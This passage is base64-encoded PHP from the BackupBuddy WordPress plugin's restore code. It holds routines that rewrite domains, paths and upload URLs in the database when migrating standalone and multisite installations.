mwnXTsKCQkJCSR0aGlzLT5uZXdGdWxsUmVwbGFjZVtdID0gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnaG9tZXVybCddOwoKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0NhbGN1bGF0ZWQgaG9tZSBVUkwgdXBkYXRlLiBQcmV2aW91cyBVUkw6IGAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnaG9tZXVybCddIC4gJ2AsIE5ldyBVUkw6IGAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWydob21ldXJsJ10gLiAnYCcgKTsKCQkJfQoJCX0gZWxzZSB7IC8vIFNpdGUgVVJMIHVwZGF0ZXMgb25seS4KCQkJJHRoaXMtPm9sZFVSTHMgPSBhcnJheSggJG9sZF91cmwsICRvbGRfdXJsX2FsdCApOwoJCQkkdGhpcy0+bmV3VVJMcyA9IGFycmF5KCAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSwgJHRoaXMtPnJlc3RvcmVEYXRhWydzaXRldXJsJ10gKTsKCQl9CgoJCWlmICggaXNzZXQoICR3cF91cGxvYWRfZGlyICkgKSB7CgkJCSR0aGlzLT5uZXR3b3JrVXBsb2FkVVJMUmVhbCA9ICR0aGlzLT5yZXN0b3JlRGF0YVsnc2l0ZXVybCddIC4gJy8nIC4gc3RyX3JlcGxhY2UoIEFCU1BBVEgsICcnLCAkd3BfdXBsb2FkX2RpciApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICckdGhpcy0+bmV0d29ya1VwbG9hZFVSTFJlYWwgPSBgJyAuICR0aGlzLT5uZXR3b3JrVXBsb2FkVVJMUmVhbCAuICdgLicgKTsKCQl9CgoJCSR0aGlzLT5icnV0ZWZvcmNlRXhjbHVkZWRUYWJsZXMgPSBhcnJheSgKCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ3Bvc3RzJywKCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ3VzZXJzJywgLy8gSW1wb3J0ZWQgdXNlcnMgdGFibGUgd2lsbCB0ZW1wb3JhcmlseSBiZSBoZXJlIHNvIHRoaXMgaXMgZmluZSBmb3IgTVMgaW1wb3J0cy4KCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ3VzZXJtZXRhJywgLy8gSW1wb3J0ZWQgdXNlcnMgdGFibGUgd2lsbCB0ZW1wb3JhcmlseSBiZSBoZXJlIHNvIHRoaXMgaXMgZmluZSBmb3IgTVMgaW1wb3J0cy4KCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ3Rlcm1zJywKCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ3Rlcm1fdGF4b25vbXknLAoJCQkkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAndGVybV9yZWxhdGlvbnNoaXBzJywKCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ3Bvc3RtZXRhJywKCQkJJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gJ29wdGlvbnMnLAoJCQkkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAnY29tbWVudHMnLAoJCQkkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAnY29tbWVudG1ldGEnLAoJCQkkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAnbGlua3MnLAoJCSk7CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGVkIG1pZ3JhdGlvbiBzdGVwcyBmb3IgYGFsbGAgc2l0ZXMuJyApOwoKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIG1pZ3JhdGVDb21tb24oKS4KCgoJLyoqCgkgKiBOZXR3b3JrIHRvIE5ldHdvcmsgTWlncmF0aW9uCgkgKgoJICogQHJldHVybiBib29sICBUcnVlLiBBbHdheXMgcmV0dXJucyB0cnVlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gbWlncmF0ZU5ldHdvcmtUb05ldHdvcmsoKSB7CgkJZ2xvYmFsICR3cGRiOwoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdGFydGluZyBtaWdyYXRpb24gc3RlcHMgZm9yIGBOZXR3b3JrIC0+IE5ldHdvcmtgIHNpdGVzLicgKTsKCgkJLy8gTXVsdGlzaXRlIE5ldHdvcmsgZG9tYWluICYgcGF0aCBmcm9tIHNpdGUgdXJsLgoJCSR1cmxfcGFydHMgICAgICAgICAgICAgICAgICAgID0gcGFyc2VfdXJsKCAkdGhpcy0+cmVzdG9yZURhdGFbJ3NpdGV1cmwnXSApOwoJCSRtdWx0aXNpdGVfZGVzdGluYXRpb25fZG9tYWluID0gJHVybF9wYXJ0c1snaG9zdCddOwoJCWlmICggaXNzZXQoICR1cmxfcGFydHNbJ3BhdGgnXSApICkgewoJCQkkZGVzdGluYXRpb25fcGF0aCA9IHJ0cmltKCAkdXJsX3BhcnRzWydwYXRoJ10sICcvXFwnICkgLiAnLyc7CgkJfSBlbHNlIHsKCQkJJGRlc3RpbmF0aW9uX3BhdGggPSAnLyc7CgkJfQoKCQkkb2xkX2RvbWFpbiA9ICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ2RvbWFpbiddOwoJCSRvbGRfcGF0aCAgID0gJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsncGF0aCddOwoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdNdWx0aXNpdGUgTmV0d29yayBVUkxzOiBPbGQgZG9tYWluOiBgJyAuICRvbGRfZG9tYWluIC4gJ2A7IG5ldyBkb21haW46IGAnIC4gJG11bHRpc2l0ZV9kZXN0aW5hdGlvbl9kb21haW4gLiAnYDsgb2xkIHBhdGg6IGAnIC4gJG9sZF9wYXRoIC4gJ2A7IG5ldyBwYXRoOiBgJyAuICRkZXN0aW5hdGlvbl9wYXRoIC4gJ2AuJyApOwoKCQkvLyBCTE9HUyBUQUJMRQoJCS8vIFVwZGF0ZSBibG9nIHBhdGggZm9yIGFsbCBzaXRlcyB0aGF0IGhhZCB0aGUgb2xkIGRvbWFpbiBhbmQgc3RhcnRlZCB3aXRoIHRoZSBvbGQgcGF0aCBpbiBCTE9HUyB0YWJsZS4KCQlpZiAoICcvJyAhPSAkb2xkX3BhdGggKSB7IC8vIFVzZWQgdG8gYmUgYSBzdWJkb21haW4gc28gd2UgY2FuIG1vcmUgc2FmZWx5IHJlcGxhY2UuCgkJCSR3cGRiLT5xdWVyeSggJ1VQREFURSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJibG9nc2AgU0VUIHBhdGg9UkVQTEFDRSggcGF0aCwgJyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG9sZF9wYXRoICkgLiAiJywgJyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJGRlc3RpbmF0aW9uX3BhdGggKSAuICInKSBXSEVSRSBkb21haW49JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG9sZF9kb21haW4gKSAuICInIEFORCBwYXRoIExJS0UgJyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG9sZF9wYXRoICkgLiAiJSciICk7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ01vZGlmaWVkICcgLiAkd3BkYi0+cm93c19hZmZlY3RlZCAuICcgcm93KHMpIHdoaWxlIHVwZGF0aW5nIHBhdGhzIGluIGJsb2dzIHRhYmxlIHRvIGAnIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRkZXN0aW5hdGlvbl9wYXRoICkgLiAnYCAob2xkIHBhdGggd2FzIGEgc3ViZGlyZWN0b3J5KS4nICk7CgkJfSBlbHNlIHsgLy8gVXNlZCB0byBiZSBpbiByb290IHNvIG11Y2ggcHJlcGVuZCBuZXcgcGF0aC4KCQkJJHdwZGItPnF1ZXJ5KCAnVVBEQVRFIGAnIC4gJHRoaXMtPm92ZXJyaWRlUHJlZml4IC4gImJsb2dzYCBTRVQgcGF0aD1jb25jYXQoICciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoIHJ0cmltKCAkZGVzdGluYXRpb25fcGF0aCwgJy9cXCcgKSApIC4gIicsIHBhdGggKSBXSEVSRSBkb21haW49JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG9sZF9kb21haW4gKSAuICInIiApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdNb2RpZmllZCAnIC4gJHdwZGItPnJvd3NfYWZmZWN0ZWQgLiAnIHJvdyhzKSB3aGlsZSB1cGRhdGluZyBwYXRocyBpbiBibG9ncyB0YWJsZSB0byBgJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkZGVzdGluYXRpb25fcGF0aCApIC4gJ2AgKG9sZCBwYXRoIHdhcyByb290KS4nICk7CgkJfQoKCQlpZiAoICEgZW1wdHkoICR3cGRiLT5sYXN0X2Vycm9yICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdteXNxbCBlcnJvcjogJyAuICR3cGRiLT5sYXN0X2Vycm9yICk7CgkJfQoKCQkvLyBVcGRhdGUgYmxvZyBkb21haW4gZm9yIGFsbCBtYXRjaGluZyBzaXRlcy4KCQkkd3BkYi0+cXVlcnkoICdVUERBVEUgYCcgLiAkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAiYmxvZ3NgIFNFVCBkb21haW49JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG11bHRpc2l0ZV9kZXN0aW5hdGlvbl9kb21haW4gKSAuICInIFdIRVJFIGRvbWFpbj0nIiAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkb2xkX2RvbWFpbiApIC4gIiciICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgZG9tYWluIGluIGJsb2dzIHRhYmxlIHRvIGAnIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRtdWx0aXNpdGVfZGVzdGluYXRpb25fZG9tYWluICkgLiAnYC4nICk7CgkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWwgZXJyb3I6ICcgLiAkd3BkYi0+bGFzdF9lcnJvciApOyB9CgoJCS8vIFNJVEUgVEFCTEUKCQkvLyBVcGRhdGUgYmxvZyBwYXRoIGZvciBhbGwgbWF0Y2hpbmcgc2l0ZXMgaW4gU0lURSB0YWJsZS4KCQlpZiAoICRvbGRfcGF0aCAhPSAnLycgKSB7IC8vIFVzZWQgdG8gYmUgYSBzdWJkb21haW4gc28gd2UgY2FuIG1vcmUgc2FmZWx5IHJlcGxhY2UuCgkJCSR3cGRiLT5xdWVyeSggJ1VQREFURSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJzaXRlYCBTRVQgcGF0aD1SRVBMQUNFKCBwYXRoLCAnIiAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkb2xkX3BhdGggKSAuICInLCAnIiAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkZGVzdGluYXRpb25fcGF0aCApIC4gIicpIFdIRVJFIGRvbWFpbj0nIiAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkb2xkX2RvbWFpbiApIC4gIicgQU5EIHBhdGggTElLRSAnIiAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkb2xkX3BhdGggKSAuICIlJyIgKTsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgcGF0aHMgaW4gc2l0ZSB0YWJsZSB0byBgJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCAkZGVzdGluYXRpb25fcGF0aCApIC4gJ2AgKG9sZCBwYXRoIHdhcyBhIHN1YmRpcmVjdG9yeSkuJyApOwoJCX0gZWxzZSB7IC8vIFVzZWQgdG8gYmUgaW4gcm9vdCBzbyBtdWNoIHByZXBlbmQgbmV3IHBhdGguCgkJCSR3cGRiLT5xdWVyeSggJ1VQREFURSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJzaXRlYCBTRVQgcGF0aD1jb25jYXQoICciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoIHJ0cmltKCAkZGVzdGluYXRpb25fcGF0aCwgJy9cXCcgKSApIC4gIicsIHBhdGggKSBXSEVSRSBkb21haW49JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG9sZF9kb21haW4gKSAuICInIiApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdNb2RpZmllZCAnIC4gJHdwZGItPnJvd3NfYWZmZWN0ZWQgLiAnIHJvdyhzKSB3aGlsZSB1cGRhdGluZyBwYXRocyBpbiBzaXRlIHRhYmxlIHRvIGAnIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRkZXN0aW5hdGlvbl9wYXRoICkgLiAnYCAob2xkIHBhdGggd2FzIHJvb3QpLicgKTsKCQl9CgoJCWlmICggISBlbXB0eSggJHdwZGItPmxhc3RfZXJyb3IgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsIGVycm9yOiAnIC4gJHdwZGItPmxhc3RfZXJyb3IgKTsKCQl9CgoJCS8vIFVwZGF0ZSBibG9nIGRvbWFpbiBmb3IgYWxsIG1hdGNoaW5nIHNpdGVzLgoJCSR3cGRiLT5xdWVyeSggJ1VQREFURSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJzaXRlYCBTRVQgZG9tYWluPSciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRtdWx0aXNpdGVfZGVzdGluYXRpb25fZG9tYWluICkgLiAiJyBXSEVSRSBkb21haW49JyIgLiBiYWNrdXBidWRkeV9jb3JlOjpkYkVzY2FwZSggJG9sZF9kb21haW4gKSAuICInIiApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ01vZGlmaWVkICcgLiAkd3BkYi0+cm93c19hZmZlY3RlZCAuICcgcm93KHMpIHdoaWxlIHVwZGF0aW5nIGRvbWFpbiBpbiBzaXRlIHRhYmxlIHRvIGAnIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICRtdWx0aXNpdGVfZGVzdGluYXRpb25fZG9tYWluICkgLiAnYC4nICk7CgkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWwgZXJyb3I6ICcgLiAkd3BkYi0+bGFzdF9lcnJvciApOyB9CgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0ZpbmlzaGVkIG1pZ3JhdGlvbiBzdGVwcyBmb3IgYE5ldHdvcmsgLT4gTmV0d29ya2Agc2l0ZXMuJyApOwoKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIG1pZ3JhdGVOZXR3b3JrVG9OZXR3b3JrKCkuCgoJLyoqCgkgKiBTdGFuZGFsb25lIHRvIE11bHRpc2l0ZSBNaWdyYXRpb24KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUuIEFsd2F5cyByZXR1cm5zIHRydWUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBtaWdyYXRlU3RhbmRhbG9uZVRvTXVsdGlzaXRlSW1wb3J0KCkgewoKCQlnbG9iYWwgJHdwZGI7CgkJZ2xvYmFsICR3cF92ZXJzaW9uOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1N0YXJ0aW5nIG1pZ3JhdGlvbiBzdGVwcyBmb3IgYFN0YW5kYWxvbmUgLT4gTXVsdGlzaXRlIEltcG9ydGAgc2l0ZXMuJyApOwoKCQkvLyBOb3RlIGZvciBhbnkgZGVzdGluYXRpb24gb2YgbXVsdGlzaXRlX2ltcG9ydDogVXNlcnMgdGFibGVzIGV4aXN0IHRlbXBvcmFyaWx5IGluIHRoZWlyIG5vcm1hbCBsb2NhdGlvbiBzbyB3ZSByZXBsYWNlIHRoZW0gbGlrZSBhIG5vcm1hbCBzdGFuZGFsb25lIHNpdGUuIFRoZSBuZXh0IGltcG9ydCBzdGVwIHdpbGwgbWVyZ2UgdGhlbSBpbnRvIHRoZSBtdWx0aXNpdGUgdGFibGVzLgoJCS8vIFRPRE86IGFkZCBjb2RlIGZyb20gbXNfaW1wb3J0YnVkZHkucGhwIGludG8gaGVyZSBmb3IgYW55IHVwZGF0ZXMgaWYgbmVlZGVkLgoJCS8vIFRoZSBvbGQgdXBsb2FkcyBVUkwuIFN0YW5kYWxvbmUgc291cmNlIGxpa2U6IGh0dHA6Ly9nZXRiYWNrdXBidWRkeS5jb20vd3AtY29udGVudC91cGxvYWRzLy4gQkIgZG9lc250IGN1cnJlbnRseSBzdXBwb3J0IG1vdmVkIHVwbG9hZHMuIFVuc2hpZnRlZCB0byBwbGFjZSB0aGVzZSByZXBsYWNlbWVudHMgRklSU1QgaW4gdGhlIGFycmF5IG9mIFVSTHMgdG8gcmVwbGFjZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdPbGQgdXBsb2FkcyBVUkw6ICcgLiAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWydzaXRldXJsJ10gLiAnL3dwLWNvbnRlbnQvdXBsb2FkcycgKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+b2xkVVJMcywgJHRoaXMtPnJlc3RvcmVEYXRhWydkYXQnXVsnc2l0ZXVybCddIC4gJy93cC1jb250ZW50L3VwbG9hZHMnICk7CgkJYXJyYXlfdW5zaGlmdCggJHRoaXMtPm9sZEZ1bGxSZXBsYWNlLCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWydzaXRldXJsJ10gLiAnL3dwLWNvbnRlbnQvdXBsb2FkcycgKTsKCgkJLy8gVGhlIG5ldyBzdGFuZGFsb25lIHVwbG9hZCBVUkwuIEV4OiBodHRwOi8vcGx1Z2luYnVkZHkuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8uIFVuc2hpZnRlZCB0byBwbGFjZSB0aGVzZSByZXBsYWNlbWVudHMgRklSU1QgaW4gdGhlIGFycmF5IG9mIFVSTHMgdG8gcmVwbGFjZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdOZXcgdmlydHVhbCB1cGxvYWQgVVJMIHRvIHJlcGxhY2Ugc3RhbmRhbG9uZSB1cGxvYWQgVVJMOiAnIC4gJHRoaXMtPnJlc3RvcmVEYXRhWyd1cGxvYWRfdXJsJ10gKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+bmV3VVJMcywgJHRoaXMtPnJlc3RvcmVEYXRhWyd1cGxvYWRfdXJsJ10gKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+bmV3RnVsbFJlcGxhY2UsICR0aGlzLT5yZXN0b3JlRGF0YVsndXBsb2FkX3VybCddICk7CgoJCS8vIFVwZGF0ZSB1cGxvYWRfcGF0aCBpbiBvcHRpb25zIHRhYmxlLgoJCWlmICggdmVyc2lvbl9jb21wYXJlKCAkd3BfdmVyc2lvbiwgJzMuNScsICc+PScgKSApIHsgLy8gQXMgb2YgV1AgdjMuNSBzdWJzdGllcyBzaG91bGQgaGF2ZSB1cGxvYWRfcGF0aCBvcHRpb24gcmVtb3ZlZC4KCQkJJHdwZGItPnF1ZXJ5KCAnREVMRVRFIEZST00gYCcgLiAkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAib3B0aW9uc2AgV0hFUkUgb3B0aW9uX25hbWU9J3VwbG9hZF9wYXRoJyBMSU1JVCAxIiApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdEZWxldGVkICcgLiAkd3BkYi0+cm93c19hZmZlY3RlZCAuICcgcm93KHMpIGFzIHVwbG9hZF9wYXRoIGlzIG5vIGxvbmdlciBuZWVkZWQgYnkgTXVsdGlzaXRlLicgKTsKCQl9IGVsc2UgewoJCQkkd3BkYi0+cXVlcnkoICdVUERBVEUgYCcgLiAkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAib3B0aW9uc2AgU0VUIG9wdGlvbl92YWx1ZT0nIiAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmRiRXNjYXBlKCBzdHJfcmVwbGFjZSggJHRoaXMtPnJlc3RvcmVEYXRhWydzaXRldXJsJ10gLiAnLycsICcnLCAkdGhpcy0+bmV0d29ya1VwbG9hZFVSTFJlYWwgKSApIC4gIicgV0hFUkUgb3B0aW9uX25hbWU9J3VwbG9hZF9wYXRoJyBMSU1JVCAxIiApOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdNb2RpZmllZCAnIC4gJHdwZGItPnJvd3NfYWZmYWN0ZWQgLiAnIHJvdyhzKSB3aGlsZSB1cGRhdGluZyB1cGxvYWRzIFVSTCBpbiBvcHRpb25zIHRhYmxlLiBOZXcgdmFsdWU6ICcgLiBzdHJfcmVwbGFjZSggJHRoaXMtPnJlc3RvcmVEYXRhWydzaXRldXJsJ10gLiAnLycsICcnLCAkdGhpcy0+bmV0d29ya1VwbG9hZFVSTFJlYWwgKSApOwoJCX0KCgkJaWYgKCAhIGVtcHR5KCAkd3BkYi0+bGFzdF9lcnJvciApICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAnbXlzcWwgZXJyb3I6ICcgLiAkd3BkYi0+bGFzdF9lcnJvciApOwoJCX0KCgkJLy8gVXBkYXRlIHVzZXIgcm9sZXMgb3B0aW9uX25hbWUgcm93LgoJCSR3cGRiLT5xdWVyeSggJ1VQREFURSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJvcHRpb25zYCBTRVQgb3B0aW9uX25hbWU9JyIgLiAkdGhpcy0+b3ZlcnJpZGVQcmVmaXggLiAidXNlcl9yb2xlcycgV0hFUkUgb3B0aW9uX25hbWUgTElLRSAnJVxfdXNlclxfcm9sZXMnIExJTUlUIDEiICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgdXNlciByb2xlcyBvcHRpb25fbmFtZSB0byBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICd1c2VyX3JvbGVzYC4nICk7CgoJCWlmICggISBlbXB0eSggJHdwZGItPmxhc3RfZXJyb3IgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ215c3FsIGVycm9yOiAnIC4gJHdwZGItPmxhc3RfZXJyb3IgKTsKCQl9CgoJCS8vIFVwZGF0ZSBmaWxldXBsb2FkX3VybCBpbiBvcHRpb25zIHRhYmxlLgoJCSR3cGRiLT5xdWVyeSggJ1VQREFURSBgJyAuICR0aGlzLT5vdmVycmlkZVByZWZpeCAuICJvcHRpb25zYCBTRVQgb3B0aW9uX3ZhbHVlPSciIC4gYmFja3VwYnVkZHlfY29yZTo6ZGJFc2NhcGUoICR0aGlzLT5yZXN0b3JlRGF0YVsndXBsb2FkX3VybCddICkgLiAiJyBXSEVSRSBvcHRpb25fbmFtZT0nZmlsZXVwbG9hZF91cmwnIExJTUlUIDEiICk7CgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTW9kaWZpZWQgJyAuICR3cGRiLT5yb3dzX2FmZmVjdGVkIC4gJyByb3cocykgd2hpbGUgdXBkYXRpbmcgZmlsZXVwbG9hZF91cmwgaW4gb3B0aW9ucyB0YWJsZS4gTmV3IHZhbHVlOiBgJyAuICR0aGlzLT5yZXN0b3JlRGF0YVsndXBsb2FkX3VybCddIC4gJ2AuJyApOwoKCQlpZiAoICEgZW1wdHkoICR3cGRiLT5sYXN0X2Vycm9yICkgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdteXNxbCBlcnJvcjogJyAuICR3cGRiLT5sYXN0X2Vycm9yICk7CgkJfQoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaW5pc2hlZCBtaWdyYXRpb24gc3RlcHMgZm9yIGBTdGFuZGFsb25lIC0+IE11bHRpc2l0ZSBJbXBvcnRgIHNpdGVzLicgKTsKCgkJcmV0dXJuIHRydWU7Cgl9IC8vIEVuZCBtaWdyYXRlU3RhbmRhbG9uZVRvTXVsdGlzaXRlSW1wb3J0KCkuCgoKCS8qKgoJICogTXVsdGlzaXRlIEV4cG9ydCB0byBNdWx0aXNpdGUgSW1wb3J0IE1pZ3JhdGlvbgoJICoKCSAqIEByZXR1cm4gYm9vbCAgVHJ1ZS4gQWx3YXlzIHJldHVybnMgdHJ1ZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIG1pZ3JhdGVNdWx0aXNpdGVFeHBvcnRUb011bHRpc2l0ZUltcG9ydCgpIHsKCgkJZ2xvYmFsICR3cGRiLCAkd3BfdmVyc2lvbjsKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdTdGFydGluZyBtaWdyYXRpb24gc3RlcHMgZm9yIGBNdWx0aXNpdGUgRXhwb3J0IC0+IE11bHRpc2l0ZSBJbXBvcnRgIHNpdGVzLicgKTsKCgkJLy8gTk9URSBmb3IgYW55IGRlc3RpbmF0aW9uIG9mIG11bHRpc2l0ZV9pbXBvcnQ6IFVzZXJzIHRhYmxlcyBleGlzdCB0ZW1wb3JhcmlseSBpbiB0aGVpciBub3JtYWwgbG9jYXRpb24gc28gd2UgcmVwbGFjZSB0aGVtIGxpa2UgYSBub3JtYWwgc3RhbmRhbG9uZSBzaXRlLiBUaGUgbmV4dCBpbXBvcnQgc3RlcCB3aWxsIG1lcmdlIHRoZW0gaW50byB0aGUgbXVsdGlzaXRlIHRhYmxlcy4KCQkvLyBUaGUgb2xkIHZpcnR1YWwgdXBsb2FkcyBVUkwuIFN0YW5kYWxvbmUgc291cmNlIGxpa2U6IGh0dHA6Ly9nZXRiYWNrdXBidWRkeS5jb20vd3AtY29udGVudC91cGxvYWRzLy4gQkIgZG9lc250IGN1cnJlbnRseSBzdXBwb3J0IG1vdmVkIHVwbG9hZHMuIFVuc2hpZnRlZCB0byBwbGFjZSB0aGVzZSByZXBsYWNlbWVudHMgRklSU1QgaW4gdGhlIGFycmF5IG9mIFVSTHMgdG8gcmVwbGFjZS4KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdPbGQgdmlydHVhbCB1cGxvYWRzIFVSTDogJyAuICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ3VwbG9hZF91cmwnXSApOwoJCWFycmF5X3Vuc2hpZnQoICR0aGlzLT5vbGRVUkxzLCAkdGhpcy0+cmVzdG9yZURhdGFbJ2RhdCddWyd1cGxvYWRfdXJsJ10gKTsKCQlhcnJheV91bnNoaWZ0KCAkdGhpcy0+b2xkRnVsbFJlcGxhY2UsICR0aGlzLT5yZXN0b3JlRGF0YVsnZGF0J11bJ3VwbG9hZF91cmwnXSApOwoKCQkvLyBUaGUgbmV3IHZpcnR1YWwgdXBsb2FkIFVSTC4gRXg6IGh0dHA6Ly9wbHVnaW5idWRkeS5jb20vd3AtY29udGVudC91cGxvYWRzLy4gVW5zaGlmdGVkIHRvIHBsYWNlIHRoZXNlIHJlcGxhY2VtZW50cyBGSVJTVCBpbiB0aGUgYXJyYXkgb2YgVVJMcyB0byByZXBsYWNlLgoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ05ldyB2aXJ0dWFsIHVwbG9hZCBVUkwgdG8gcmVwbGFjZSBvbGQgdmlydHVhbCB1cGxvYWRzIFVSTDogJyAuICR0aGlzLT5yZXN0b3JlRGF0YVsndXBsb2FkX3VybCddICk7CgkJYXJyYXlfdW5zaGlmdCggJHRoaXMtPm5ld1VSTHMsICR0aGlzLT5yZXN0b3JlRGF0YVsndXBsb2FkX3VybCddICk7CgkJYXJyYXlfdW5zaGlmdCggJHRoaXMtPm5ld0Z1bGxSZXBsYWNlLCAkdGhpcy0+cmVzdG9yZURhdGFbJ3VwbG9hZF91cmwnXSApOwoKCQkvL